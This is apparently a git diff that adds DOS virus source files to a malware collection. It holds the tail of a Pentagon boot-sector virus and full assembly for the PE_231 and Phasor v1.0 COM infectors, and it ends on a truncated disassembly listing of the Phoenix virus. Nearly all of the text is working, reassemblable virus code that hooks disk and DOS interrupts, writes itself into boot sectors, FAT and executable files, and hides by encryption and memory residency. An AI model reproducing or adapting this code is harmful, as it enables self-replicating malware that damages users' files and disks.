+ DIV BL ; Divide by heads + MOV DH,AH ; Move head number + POP AX ; Retrieve sector number + MOV BL,12H ; 18 sectors per track (both sides) + DIV BL ; Divide by sectors per track + MOV CH,AL ; Move track number + POP BX + POP AX + RET + + ; Update directory + +BP0401: PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + MOV CX,000FH ; Fifteen entries per sector + XOR DI,DI ; Start of sector + CMP AX,7 ; Is this first dir sector + JNE BP0416 ; Branch if not + SUB CX,3 ; Subtract three from count + ADD DI,60H ; Address fourth entry +BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on? + JNE BP0443 ; Branch if not + CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label? + JNE BP0443 ; Branch if not + MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on + PUSH SI + PUSH DI + PUSH CX + ADD DI,BX ; Add sector address + LEA SI,DB07B1 ; Address label + MOV CX,000BH ; Length of new label + CLD + REPZ MOVSB ; Copy label + MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off + POP CX + POP DI + POP SI +BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused? + JE BP0452 ; Branch if yes + ADD DI,20H ; Address next entry + LOOP BP0416 ; Process next entry + STC + JMP BP0487 + +BP0452: ADD DI,BX ; Add sector address + MOV BX,DI ; Move entry address + MOV BYTE PTR [BX],0F9H ; "Filename" + MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes + MOV CX,CS:DW0784 ; Get virus cluster number + MOV [BX+1AH],CX ; Store starting cluster + MOV WORD PTR [BX+1CH],0800H ; \ File size 2048 + MOV WORD PTR [BX+1EH],0 ; / + ADD DI,20H ; Address next entry + MOV BX,DI ; Move entry address + LEA SI,DB0791 ; Address start of encrypted + MOV CX,0020H ; One complete entry to move + CLD + REPZ MOVSB ; Move entry + MOV CX,CS:DW0786 ; Get file cluster number + MOV [BX+1AH],CX ; Store starting cluster + CLC +BP0487: POP DI + POP SI + POP DX + POP CX + POP BX + RET + + ; Read actual boot sector - Brain infected + +BP048D: PUSH AX + PUSH CX + PUSH DX + MOV CX,[BX+7] ; Get track and sector + MOV DH,[BX+6] ; Get head number + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + POP DX + POP CX + POP AX + RET + + ; Generate a sound + +BP04A0: MOV BP,1 ; One loop + MOV AL,0B6H ; Counter two, both bytes, sq wave + OUT 43H,AL ; Set PIT control register + MOV AX,0533H ; Sound frequency + OUT 42H,AL ; Send first byte + MOV AL,AH ; Get second byte + OUT 42H,AL ; Send second byte + IN AL,61H ; Get port B + MOV AH,AL ; Save port B value + OR AL,3 ; Set sound bits on + OUT 61H,AL ; Send port B + SUB CX,CX ; Maximum loop count +BP04BA: LOOP BP04BA ; Delay + DEC BP ; Decrement count of loops + JNZ BP04BA ; Branch if not zero (it won't be) + MOV AL,AH ; Recover original port B + OUT 61H,AL ; Send port B + RET + + ; Int 13H routine + +BP04C4: STI + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH SI + PUSH ES + PUSH DI + MOV CS:DB0790,DL ; Save device + CMP AH,2 ; Is function a read? + JE BP04DA ; Branch if yes + JMP BP06FC ; Pass on to BIOS + +BP04DA: DEC CS:DB07E0 ; Decrement count + JZ BP04E4 ; Infect when zero + JMP BP06FC ; Pass on to BIOS + + ; Get boot sector + +BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16 + PUSH CS ; \ + POP AX ; \ Set DS & ES to CS + MOV DS,AX ; / + MOV ES,AX ; / + MOV BX,0800H ; Address boot sector store + MOV CX,1 ; Track zero, sector one + MOV DH,0 ; Head zero + MOV DL,CS:DB0790 ; Load device + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP0508 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Check for Brain virus + +BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector? + JNE BP051D ; Branch if not + MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on + CALL BP048D ; Read actual boot sector + JNB BP052D ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Check for Pentagon virus + +BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off + CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon? + JNE BP052D ; Branch if not + JMP BP06FC ; Pass on to BIOS + + ; Check for DOS boot sector + +BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector + JE BP0538 ; Branch if yes + JMP BP06FC ; Pass on to BIOS + + ; Get first FAT sector + +BP0538: ADD BX,0200H ; Update buffer address + INC CL ; Next sector + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP0549 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Check media byte + +BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk + JE BP0551 ; Branch if yes + JMP BP06FC ; Pass on to BIOS + + ; Get second sector of FAT + +BP0551: ADD BX,0200H ; Update buffer address + INC CL ; Next sector + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP0562 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch + JNE BP0573 ; Branch if off + MOV BX,0A03H ; Address first cluster in FAT + MOV CX,2 ; First cluster is number two + CALL BP0391 ; Unflag Brain virus bad clusters +BP0573: MOV BX,0A96H ; \ Start from cluster 100 + MOV CX,0064H ; / + CALL BP033E ; Find unused FAT entry pair + JNB BP0581 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP0581: MOV CS:DW0784,CX ; Save virus cluster number + INC CX ; Next cluster number + MOV [BX],CX ; Put it in first FAT entry + OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF + nop ; ** length adjustment, MASM 5.0 + DEC CX ; Set cluster number back + CALL BP03DA ; Cluster num to trck/hd/sect + MOV CS:DW0788,CX ; Save virus track & sector + MOV CS:DW078A,DX ; Save virus head and drive + PUSH BP + MOV BP,OFFSET DW008F ; Address virus pointer + MOV CS:[BP+00],CX ; Save virus track & sector + MOV CS:[BP+03],DH ; Save virus head + POP BP + MOV BX,0A96H ; \ Start from cluster 100 + MOV CX,0064H ; / + CALL BP0368 ; Find an unused FAT entry + JNB BP05B7 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP05B7: MOV CS:DW0786,CX ; Save file cluster number + CALL BP03DA ; Cluster num to trck/hd/sect + MOV CS:DW078C,CX ; Save file track & sector + MOV CS:DW078E,DX ; Save file head and drive + PUSH BP + MOV BP,OFFSET DW00D0 ; Address file pointers + MOV CS:[BP],CX ; Save track and sector + MOV CS:[BP+3],DH ; Save head + POP BP + MOV AL,0FCH ; Load encryption key + MOV BX,0800H ; Address boot sector store + MOV CX,0200H ; Length to encrypt + CALL BP0315 ; Encrypt/decrypt + MOV BYTE PTR CS:DB07E0,20H ; Set count to 32 + LEA CX,DB07E0 ; Address end of encrypted + LEA BX,DB0791 ; Address start of encrypted + SUB CX,BX ; Length to encrypt + MOV AL,0AAH ; Load encryption key + CALL BP0315 ; Encrypt/decrypt + MOV BX,0200H ; Virus second sector + MOV AX,0301H ; Write one sector + MOV CX,CS:DW0788 ; Get virus track & sector + MOV DX,CS:DW078A ; Get virus head and drive + MOV DL,CS:DB0790 ; Load device + CALL BP031B ; Write to disk + JNB BP0613 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP0613: MOV AX,3 ; Three sectors to write +BP0616: PUSH AX ; Save write count + ADD BX,0200H ; Next sector buffer + MOV AX,0301H ; Write one sector + CALL BP0300 ; Address to next sector + CALL BP031B ; Write to disk + JB BP062D ; Branch if error + POP AX ; Retrieve write count + DEC AX ; Decrement count + JNZ BP0616 ; Repeat for each sector + JMP BP0631 + +BP062D: POP AX + JMP BP06FC ; Pass on to BIOS + + ; Write file + +BP0631: LEA CX,DB07E0 ; Address end of encrypted + LEA BX,DB0791 ; Address start of encrypted + SUB CX,BX ; Length to encrypt + MOV AL,0AAH ; Load encryption key + CALL BP0315 ; Encrypt/decrypt + MOV BYTE PTR CS:DB07E0,10H ; Set count to 16 + MOV CX,CS:DW078C ; Get file track & sector + MOV DX,CS:DW078E ; Get file head and drive + MOV DL,CS:DB0790 ; Load device + MOV BX,1000H ; Address file buffer + MOV AX,2 ; Two sectors to write +BP065B: PUSH AX ; Save write count + MOV AX,0301H ; Write one sector + CALL BP031B ; Write to disk + JB BP062D ; Branch if error + CALL BP0300 ; Address to next sector + ADD BX,0200H ; Address next sector buffer + POP AX ; Retrieve write count + DEC AX ; Decrement write count + JNZ BP065B ; Write each sector + MOV BX,OFFSET BP0059 ; Start of encrypted + MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt + MOV AL,0FCH ; Load encryption key + CALL BP0315 ; Encrypt + XOR BX,BX ; Address start of virus + MOV AX,0301H ; Write one sector + MOV CX,1 ; Track zero, sector 1 + XOR DH,DH ; Head zero + CALL BP031B ; Write to disk + JNB BP068C ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Write 1st FAT sector + +BP068C: MOV BX,OFFSET BP0059 + MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt + MOV AL,0FCH ; Load encryption key + CALL BP0315 ; Decrypt + MOV BX,0A00H ; Address 1st FAT sector + MOV AX,0301H ; Write one sector + MOV CX,2 ; Track zero, sector 2 + CALL BP031B ; Write to disk + JNB BP06A8 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Write 2nd FAT sector + +BP06A8: ADD BX,0200H ; Address 2nd FAT sector + MOV AX,0301H ; Write one sector + INC CX ; Next sector + CALL BP031B ; Write to disk + JNB BP06B8 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Create directory entries + +BP06B8: MOV BX,0E00H ; Address directory + MOV CX,5 ; Track zero, sector 5 + XOR DH,DH ; Head zero + MOV AX,7 ; Seven sectors to read +BP06C3: PUSH AX ; Save read count + MOV AX,0201H ; Read one sector + CALL BP0300 ; Address to next sector + CALL BP031B ; Read from disk + JB BP06F1 ; Branch if error + POP AX ; \ Retrieve and save read count + PUSH AX ; / + MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off + CALL BP0401 ; Update directory + JNB BP06F5 ; Branch if entry found + CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch + JNE BP06EA ; Branch if off + MOV AX,0301H ; Write one sector + CALL BP031B ; Write to disk +BP06EA: POP AX ; Retrieve sector count + DEC AX ; Decrement sector count + JNZ BP06C3 ; Repeat for each sector + JMP BP06FC ; Pass on to BIOS + +BP06F1: POP AX + JMP BP06FC ; Pass on to BIOS + +BP06F5: POP AX + MOV AX,0301H ; Write one sector + CALL BP031B ; Write to disk +BP06FC: POP DI + POP ES + POP SI + POP DS + POP DX + POP CX + POP BX + POP AX + INT 68H ; Disk I/O + RETF 2 + + ; Int 9 routine + +BP0709: PUSH AX + PUSH BX + PUSH DS + MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + IN AL,60H ; Get keyboard token + MOV BX,OFFSET BB0417 ; Address Key states + TEST BYTE PTR [BX],8 ; Alt key depressed? + JZ BP0736 ; Branch if not + TEST BYTE PTR [BX],4 ; Ctrl key depressed? + JZ BP0736 ; Branch if not + CMP AL,53H ; Del character token? + JNE BP0736 ; Branch if not + XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states + XOR AL,AL ; \ ? + OUT 60H,AL ; / + MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch +BP0736: POP DS + POP BX + POP AX + INT 69H ; Keyboard I/O + PUSHF + CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch + JNE BP0765 ; Branch if off + POPF + MOV AX,3 ; Set mode three + INT 10H ; VDU I/O + CLI + MOV AL,0AH ; Repeat delay 10 times + XOR CX,CX ; Maximum loop +BP074F: LOOP BP074F ; Delay + DEC AL ; Decrement delay count + JNZ BP074F ; Repeat delay for count + CALL BP04A0 ; Generate a sound + XOR CX,CX ; Maximum loop +BP075A: LOOP BP075A ; Delay + MOV BYTE PTR CS:DB07E0,5 ; Set count to 5 + STI + INT 19H ; Disk bootstrap + +BP0765: POPF + RETF 2 + + DB 27 DUP (0) + +DW0784 DW 0064H ; Cluster number of virus +DW0786 DW 0066H ; Cluster number of file +DW0788 DW 0B02H ; Virus track & sector +DW078A DW 0101H ; Virus head and drive +DW078C DW 0B06H ; File track and sector +DW078E DW 0101H ; File head and drive +DB0790 DB 1 ; Device number + +DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0 +DB07B1 DB 'Pentagon,ZG' +DB07BC DB '(c) 1987 The Pentagon, Zorell Group$' + +DB07E0 DB 20H ; Infection count +DB07E1 DB 0FFH ; Infected by Brain switch +DB07E2 DB 0 ; Directory update switch +DB07E3 DB 0 ; Reboot switch + + DB ' first sector in segment', 0DH, 0AH, 9, 6DH + +CODE ENDS + + END START + \ No newline at end of file diff --git a/p/PET.ASM b/p/PET.ASM new file mode 100755 index 0000000..7e0b147 Binary files /dev/null and b/p/PET.ASM differ diff --git a/p/PE_231.ASM b/p/PE_231.ASM new file mode 100755 index 0000000..de11bff --- /dev/null +++ b/p/PE_231.ASM @@ -0,0 +1 @@ + PAGE 59,132 ; ; ; VIRI ; ; Created: 7-Jan-92 ; ; Disassembled by -=>Wasp<=- aka >>Night Crawler<< ; Reassemble with TASM 2.0 ; DATA_1E EQU 0 DATA_2E EQU 0DH DATA_3E EQU 19H DATA_4E EQU 1CH DATA_5E EQU 3AH DATA_6E EQU 47H SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A ORG 100h VIRI PROC FAR START: JMP SHORT LOC_2 ; (0151) DB 90H, 2AH, 2EH, 43H, 4FH, 4DH DB 00H, 5CH, 2AH, 2EH, 43H, 4FH DB 4DH, 00H DB '\DOS\*.COM' DB 00H, 00H,0CDH, 20H DB 44 DUP (0) DB 0E9H, 00H, 00H,0B4H, 85H, 00H DB 00H LOC_2: MOV DX,103H CLD ; Clear direction MOV SI,DX ADD SI,19H MOV DI,OFFSET DS:[100H] MOV CX,3 REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] MOV SI,DX MOV AX,3524H INT 21H ; DOS Services ah=function 35h ; get intrpt vector al in es:bx PUSH ES PUSH BX MOV AX,2524H ;* MOV DX,OFFSET LOC_1 ;* DB 0BAH,0B6H, 00H ADD DX,SI INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH DS POP ES PUSH ES MOV AH,2FH ; '/' INT 21H ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx MOV [SI+4AH],ES MOV [SI+4CH],BX POP ES MOV AH,1AH MOV DX,DATA_4E ADD DX,SI INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AH,4EH ; 'N' CMP BYTE PTR [SI+18H],10H JA LOC_3 ; Jump if above MOV DX,0 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_3: CMP BYTE PTR [SI+18H],20H ; ' ' JA LOC_4 ; Jump if above MOV DX,6 ADD DX,SI JMP SHORT LOC_5 ; (01AF) DB 90H LOC_4: MOV DX,DATA_2E ADD DX,SI LOC_5: MOV CX,23H INT 21H ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx JC LOC_6 ; Jump if carry Set JMP SHORT LOC_8 ; (01DE) DB 90H VIRI ENDP ; ; ; External Entry Point ; ; INT_24H_ENTRY PROC FAR MOV AL,0 IRET ; Interrupt return INT_24H_ENTRY ENDP LOC_6: MOV AX,[SI+4AH] MOV DS,AX MOV DX,[SI+4CH] MOV AH,1AH INT 21H ; DOS Services ah=function 1Ah ; set DTA to ds:dx MOV AX,2524H POP DX POP DS INT 21H ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx PUSH ES POP DS MOV DI,OFFSET START PUSH DI RETN 0FFFFH LOC_7: MOV AH,4FH ; 'O' INT 21H ; DOS Services ah=function 4Fh ; find next filename match JC LOC_6 ; Jump if carry Set LOC_8: MOV AX,[SI+36H] CMP AX,400H JB LOC_7 ; Jump if below CMP AX,0F230H JA LOC_7 ; Jump if above MOV AX,4301H MOV DX,DATA_5E ADD DX,SI MOV CX,0 INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx MOV DX,DATA_5E ADD DX,SI MOV AX,3D02H INT 21H ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx JC LOC_10 ; Jump if carry Set XCHG AX,BX MOV DX,DATA_3E ADD DX,SI MOV CX,3 MOV AH,3FH ; '?' INT 21H ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV CL,[SI+1AH] MOV CH,[SI+1BH] MOV AX,[SI+36H] SUB AX,1ADH ADD AX,4BH CMP AX,CX JE LOC_10 ; Jump if equal MOV AX,4202H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV DI,SI ADD DI,4FH ADD AX,100H MOV [DI],AX SUB AX,103H MOV [SI+48H],AX ADD WORD PTR [SI+48H],4EH INC BYTE PTR [SI+18H] CMP BYTE PTR [SI+18H],30H ; '0' JB LOC_9 ; Jump if below MOV BYTE PTR [SI+18H],0 LOC_9: MOV AH,40H ; '@' MOV DX,DATA_1E ADD DX,SI MOV CX,1ADH INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx JC LOC_10 ; Jump if carry Set MOV AX,4200H XOR CX,CX ; Zero register XOR DX,DX ; Zero register INT 21H ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset JC LOC_10 ; Jump if carry Set MOV AH,40H ; '@' MOV CX,3 MOV DX,DATA_6E ADD DX,SI INT 21H ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx LOC_10: MOV CX,[SI+32H] MOV DX,[SI+34H] MOV AX,5701H INT 21H ; DOS Services ah=function 57h ; get/set file date & time MOV AH,3EH ; '>' INT 21H ; DOS Services ah=function 3Eh ; close file, bx=file handle MOV AX,4301H MOV CX,[SI+31H] XOR CH,CH ; Zero register MOV DX,DATA_5E ADD DX,SI INT 21H ; DOS Services ah=function 43h ; get/set file attrb, nam@ds:dx JMP LOC_7 ; (01D8) DB 'Public enemy number one' SEG_A ENDS END START \ No newline at end of file diff --git a/p/PHASOR10.ASM b/p/PHASOR10.ASM new file mode 100755 index 0000000..9a0d9dc --- /dev/null +++ b/p/PHASOR10.ASM @@ -0,0 +1,166 @@ +; +; [Phasor] v1.0 +; Written by Memory Lapse of Phalcon/Skism +; +; This is a simple memory resident, COM infector. It hides in the unused +; portion of the interrupt table starting at 0:1E0h. +; +; To Assemble: +; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T +; + .model tiny ; + .code ; + .286 ; + org 100h ; + ; +start: ;Mark Start of Code +v_start: ;Mark Start of Virus + mov bp,0000h ;Self Modifying Delta +delta equ $-002h ; Offset. + ; + xor di,di ;Load Register w/Zero + mov es,di ;ES = 000h + ; + mov di,01E0h ;DI = 1E0h + ; + cmp byte ptr es:[di],0BDh ;Virus Present? + jz restoreCOMbytes ;(0BDh = MOV BP,XXXX) + ; + push cs ;Save CS onto Stack + pop ds ;Restore DS (CS=DS) + ; + mov cx,(heap_end-v_start)/002h ;CX = # of Words To Copy + lea si,[bp+100h] ;SI = Start of Virus + rep movsw ;Copy Virus To Int Table + ; + mov ax,offset i021h+0E0h ;AX = Handler + Offset + ; + xchg ax,word ptr es:[084h] ;Modify Interrupt Table + mov word ptr es:[i021hOffset+0E0h],ax ; To Point To Virus's + ; Interrupt 021h + mov ax,es ; Handler. + ; + xchg ax,word ptr es:[086h] ; + mov word ptr es:[i021hSegment+0E0h],ax ; + ; +restoreCOMbytes: ; + push cs cs ;Equal Out Segment + pop ds es ; Registers. + ; + lea si,[bp+host_bytes] ;SI = Host's Bytes + mov di,100h ;DI = Start of Host + push di ;Save DI onto Stack + mov byte ptr [di],0C3h ;Write RET to Host + call di ;Call 100h (RET) + ; + movsb ;Byte @ DS:[SI]=>ES:[DI] + movsw ;Word @ DS:[SI]=>ES:[DI] + ; + retn ;Return to Host Program. + ; +host_bytes db 0CDh,020h,000h ;Buffer For Starting of + ; Host Program. +infect: xor bp,bp ;Load Register w/Zero + ; + mov ax,3D00h ;AX = 3D00h + int 021h ;Open File in R/O Mode. + ; + xchg ax,bx ; + ; + push bx cs cs ;Save Handle, Equal Out + pop ds es ; Segment Registers. + ; + mov ax,1220h ;AX = 1220h + int 02Fh ;Get JFT. + ; + mov ax,1216h ;AX = 1216h + mov bl,byte ptr es:[di] ;BL = Location of SFT + int 02Fh ;Get SFT. + ; + pop bx ;Restore File Handle + ; + mov word ptr es:[di+002h],002h ;Open File For Read And + ; Write Mode. + mov ah,03Fh ;AH = 3Fh + mov cx,003h ;CX = # of Bytes To Read + mov dx,offset host_bytes+0E0h ;DX = Buffer + Offset + int 021h ;Read 003h Bytes To Bufr + ; + mov si,dx ;SI = DX + ; + cmp word ptr [si+000h],5A4Dh ;EXE File? + jz closeCOMfile ;Exit Virus + ; + cmp word ptr [si+000h],4D5Ah ;EXE File? + jz closeCOMfile ;Exit Virus + ; + push cx ;Save CX onto Stack. + ; + mov ax,4202h ;AX = 4202h + xor cx,cx ;Load Register w/Zero + cwd ;Load Register w/Zero + int 021h ;Move File Pointer @ EOF + ; + pop cx ;Restore CX. + ; + mov word ptr [delta+0E0h],ax ;Write Delta Offset + ; + sub ax,cx ;Subtract 3h from Size. + mov byte ptr [temp_buffer+0E0h+000h],0E9h ;Write Jump to Buffer + mov word ptr [temp_buffer+0E0h+001h],ax ;Write Location to Buffr + ; + sub ax,(v_end-v_start) ;Subtract Virus Length + ; + cmp word ptr [si+001h],ax ;Is File Infected? + jz closeCOMfile ;Jump if Infected. + ; + mov ah,040h ;AH = 40h + mov cx,(v_end-v_start) ;CX = # of Bytes to Wrte + mov dx,01E0h ;DX = Data to Write + int 021h ;Write To File. + ; + mov word ptr es:[di+015h],bp ;Move File Pointer To + mov word ptr es:[di+017h],bp ;Start of File. + ; + mov ah,040h ;AH = 40h + mov cx,003h ;CX = # of Bytes to Wrte + mov dx,offset temp_buffer+0E0h ;DX = Data to Write + int 021h ;Write To File. + ; + mov ax,5701h ;AX = 5701h + mov cx,word ptr es:[di+00Dh] ;CX = Time Stamp + mov dx,word ptr es:[di+00Fh] ;DX = Date Stamp + int 021h ;Set Time. + ; +closeCOMfile: ; + mov ah,03Eh ;AH = 3Eh + int 021h ;Close File. + ; + jmp exit ;Unconditional Jump + ; + db "[ML/PS]" ; + ; +i021h: pusha ;Preserve All Regs. + push ds es ;Save Segment Registers. + ; + sub ax,4B00h ;Executing A File? + jnz exit ;Jump If Not 4B00h. + ; + jmp infect ;Unconditional Jump. + +exit: pop es ds ;Restore Segment Regs. + popa ;Restore All Registers. + ; +int21h: db 0EAh ;JMP SSSS:OOOOO + ; +v_end: ;End of Virus +heap_start: ;Start of Heap + ; +i021hOffset dw 001h dup (?) ;Buffer for Offset +i021hSegment dw 001h dup (?) ;Buffer for Segment + +temp_buffer db 003h dup (?) ;Buffer for Calculations + ; +heap_end: ;End of Heap + ; +end start ;End of Source diff --git a/p/PHOENIX.ASM b/p/PHOENIX.ASM new file mode 100755 index 0000000..7df2c9b --- /dev/null +++ b/p/PHOENIX.ASM @@ -0,0 +1,1052 @@ +Sourcer Listing v2.11 (GEMICHA) !-!-!- PHOENIX -!-!-! + + + +--------------------------------------------------------------------------------------------------------------- + +0000 95 xchg ax,bp ; AX +0001 BE 0100 mov si,100h ; +0004 46 inc si ; SI=101 +0005 03 34 add si,[si] ; SI= +0007 8B DE mov bx,si ; BX +0009 33 C9 xor cx,cx ; CX= 0 +000B B8 0342 mov ax,342h ; -20h + +000E 50 push ax ; AX -> Stack + +000F 33 4C 22 xor cx,[si+22h] ;\ +0012 46 inc si ; \ +0013 46 inc si ; +0014 48 dec ax ; CRC +0015 data_2 db 7Dh ; / +0015 7D F8 jge 000Fh ;/ + +0017 5A pop dx ; Stack -> DX + +0018 31 4F 22 xor [bx+22h],cx ;\ +001B 43 inc bx ; \ +001C 43 inc bx ; +001D 4A dec dx ; +001E data_3 db 7Dh ; / +001E 7D F8 jge 0018h ;/ + +0020 87 F6 xchg si,si ; +0022 87 D1 xchg dx,cx ; dx= CRC cx= 0 +0024 FA cli ; +0025 81 C6 F97C add si,0F97Ch ; SI= +0029 FC cld ; Clear direction +002A 8B DC mov bx,sp ; BX= stack offset +002C B1 04 mov cl,4 +002E D3 EB shr bx,cl ; BX= BX * 16d +1 +0030 43 inc bx ; / +0031 8C D0 mov ax,ss ; AX= stack seg +0033 03 D8 add bx,ax ; BX= org addr stack + +0035 BF 0004 mov di,4 ; +0038 8B 45 FE mov ax,[di-2] ; AX= seg last paragraph +003B 1E push ds ; DS -> Stack +003C 8E DF mov ds,di ; DS= 0004h +003E 3B 45 66 cmp ax,[di+66h] ; INT 2A ? +0041 74 16 je loc_3 ; ??? +0043 80 EC 02 sub ah,2 ; AX= AX- 512d +0046 3B D8 cmp bx,ax ; stack last par. +0048 73 59 jae loc_6 ; Jump if above or = +004A 4F dec di ; +004B 4F dec di ; - di= 2 +004C AB stosw ; ax to es:[di] PSP +004D 8C C3 mov bx,es ; \ +004F 4B dec bx ; ES= ES-1 +0050 8E C3 mov es,bx ; / +0052 26: 80 2D 02 sub byte ptr es:[di],2 ; 521d bytes +0056 89 45 66 mov [di+66h],ax ; seg INT 2A +0059 loc_3: +0059 C7 45 64 0526 mov word ptr [di+64h],526h ; off INT 2A +005E 4A dec dx ; CRC 1 +005F 52 push dx ; +0060 50 push ax ; +0061 C4 5D 08 les bx,dword ptr [di+8] ; ES:BX = [ INT 13 ] +0064 B4 13 mov ah,13h ; \ +0066 CD 2F int 2Fh ; +0068 06 push es ; +0069 53 push bx ; +006A B4 13 mov ah,13h ; INT 13 +006C CD 2F int 2Fh ; / +006E 8C C2 mov dx,es ; DX= 13 +0070 5B pop bx ; \ +0071 07 pop es ; ES:BX [org INT 13] +0072 8C C0 mov ax,es +0074 3B C2 cmp ax,dx ; ? +0076 1F pop ds ; DS= +0077 9C pushf ; Push flags +0078 06 push es ;\ +0079 53 push bx ; [org INT 13] +007A 1E push ds ; +007B 74 0D jz loc_4 ; INT 13 org +007D 8C DA mov dx,ds +007F 3B C2 cmp ax,dx +0081 72 5E jb loc_7 ; Jump if below +0083 BA 059A mov dx,59Ah +0086 B4 13 mov ah,13h +0088 CD 2F int 2Fh +008A loc_4: +008A 07 pop es ; +008B 33 FF xor di,di ; DI= 0 +008D 56 push si ; -> Stack +008E B9 0355 mov cx,355h ; 853d +0091 F3/ 2E: A5 rep movs word ptr es:[di],word ptr cs:[si] + ; 853d ? +0094 5E pop si ; Stack -> +0095 B0 EA mov al,0EAh +0097 AA stosb ; jmp es:[di] +0098 B1 04 mov cl,4 + +009A locloop_5: +009A 58 pop ax +009B AB stosw ; Store ax to es:[di] +009C E2 FC loop locloop_5 ; Loop if cx > 0 + +009E B8 FE00 mov ax,0FE00h +00A1 AA stosb ; Store al to es:[di] +00A2 AB stosw ; Store ax to es:[di] +00A3 loc_6: +00A3 07 pop es +00A4 FB sti ; Enable interrupts +00A5 0E push cs +00A6 1F pop ds +00A7 BF 00FE mov di,0FEh +00AA 57 push di +00AB 56 push si +00AC 81 C6 00C8 add si,0C8h +00B0 A5 movsw ; Mov [si] to es:[di] +00B1 A5 movsw ; Mov [si] to es:[di] +00B2 A4 movsb ; Mov [si] to es:[di] +00B3 5F pop di +00B4 AD lodsw ; String [si] to ax +00B5 FE C4 inc ah +00B7 96 xchg ax,si +00B8 95 xchg ax,bp +00B9 B9 0354 mov cx,354h +00BC C3 retn + +00BD db 'PHOENIX',0 + +00C5 01 4C D0 add [si-30],cx +00C8 F3 repz +00C9 A5 movsw ; Mov [si] to es:[di] +00CA data_5 dw 34BCh +00CA 4D dec bp +00CB 5A pop dx +00CC BA 47 08 mov dx,0847 +00CF E9 0F85 jmp 18EBh +00D2 BF 004C mov di,4Ch +00D5 8B 5D B6 mov bx,[di-4Ah] +00D8 33 D2 xor dx,dx ; Zero register +00DA 8E DA mov ds,dx +00DC 3B 5D 5E cmp bx,[di+5Eh] +00DF 74 52 je loc_11 ; Jump if equal +00E1 loc_7: +00E1 B2 80 mov dl,80h +00E3 B4 08 mov ah,8 +00E5 CD 13 int 13h ; Disk dl=drive #: ah=func a8h + ; read parameters for drive dl +00E7 72 4A jc loc_11 ; Jump if carry Set +00E9 52 push dx +00EA B4 13 mov ah,13h +00EC CD 2F int 2Fh ; Multiplex/Spooler al=func 00h + ; get installed status +00EE FC cld ; Clear direction +00EF 06 push es +00F0 33 C0 xor ax,ax ; Zero register +00F2 8E C0 mov es,ax +00F4 E6 61 out 61h,al ; port 61h, 8255 B - spkr, etc + ; al = 0, disable parity +00F6 93 xchg ax,bx +00F7 AB stosw ; Store ax to es:[di] +00F8 58 pop ax +00F9 AB stosw ; Store ax to es:[di] +00FA 8B C1 mov ax,cx +00FC 8A E9 mov ch,cl +00FE B1 06 mov cl,6 +0100 D2 ED shr ch,cl ; Shift w/zeros fill +0102 8A CC mov cl,ah +0104 24 3F and al,3Fh ; '?' +0106 8B F1 mov si,cx +0108 5F pop di +0109 B2 80 mov dl,80h +010B loc_8: +010B 33 C9 xor cx,cx ; Zero register +010D loc_9: +010D 32 F6 xor dh,dh ; Zero register +010F 51 push cx +0110 86 CD xchg cl,ch +0112 D0 C9 ror cl,1 ; Rotate +0114 D0 C9 ror 